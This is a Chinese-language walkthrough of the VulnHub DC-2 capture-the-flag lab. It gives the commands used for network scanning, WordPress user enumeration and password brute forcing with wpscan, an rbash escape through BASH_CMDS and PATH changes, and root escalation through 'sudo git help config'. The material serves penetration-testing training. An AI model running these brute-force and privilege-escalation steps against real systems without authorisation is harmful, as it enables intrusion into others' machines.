VulnHub_DC-2
信息收集
探测目标主机IP地址
arp-scan -l
nmap -sV -A -p- 192.168.157.143
得知开启80端口的http服务与7744端口开启的ssh
访问网站拿flag1
访问发现有域名但看不到ip,原因是DNS未转换
在windows中 DNS的域名文件在 C:\windows\system32\drivers\etc\hosts
修改添加映射关系
cd C:\Windows\System32\drivers\etc
notepad hosts
注意:这里要用管理员权限启动cmd,否则将无权限修改hosts文件
修改后访问成功
得到flag1
登录网站拿flag2
flag1提示 使用 cewl 生成字典
cewl http://dc-2/ -w dict.txt
都让我们生成字典了,肯定是有登录界面
这里用dirsearch扫目录
dirsearch -u http://dc-2/ -e *
找到登录界面,访问成功
目前只有密码字典,所以还需要使用 wpscan 枚举 WordPress 站点中注册过的用户名,来制作用户名字典
wpscan --url http://dc-2/ -e u
将得到的用户名存入 user.txt,与之前生成的 dict.txt 结合对网站进行爆破
wpscan --url http://dc-2/ -U user.txt -P dict.txt
成功得到jerry用户与tom用户的密码
登录jerry用户,在Pages内拿到flag2
ssh拿flag3
尝试ssh登录,jerry的密码错误,tom用户成功登录
查看发现flag3
当前为 rbash,是被限制的 Shell,所以可以考虑进行 rbash 绕过。
它与一般shell的区别在于会限制一些行为,让一些命令无法执行
查看下当前可用命令
compgen -c
这里用vi查看即可
flag3:Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes
rbash绕过拿flag4
flag3中包含 Jerry
和 su
,所以猜测需要使用 su jerry
登录到 jerry 用户下,尝试后发现 su
命令无法使用,所以下一步尝试进行 rbash 绕过
BASH_CMDS[a]=/bin/sh;a #注:把 /bin/sh 给a变量并调用
export PATH=$PATH:/bin/ #注:将 /bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin #注:将 /usr/bin 作为PATH环境变量导出
绕过成功,登录jerry用户,拿到flag4
git提权拿flag5
文本内提到 git,考虑git提权,查看可用命令
sudo -l
git命令可以使用root权限,证实我们的观点
sudo git help config
在编辑模式下输入!/bin/sh
即可看到提权成功
开启交互
python -c "import pty;pty.spawn('/bin/bash')"
得到flag5
简单总结
与DC-1相比新增了修改 hosts 文件来访问网站,使用工具 wpscan ,rbash绕过,git 提权的知识
再推荐一篇关于rbash的好文
标签:bin,rbash,git,登录,渗透,DC,jerry,VulnHub,PATH From: https://www.cnblogs.com/Mar10/p/17443009.html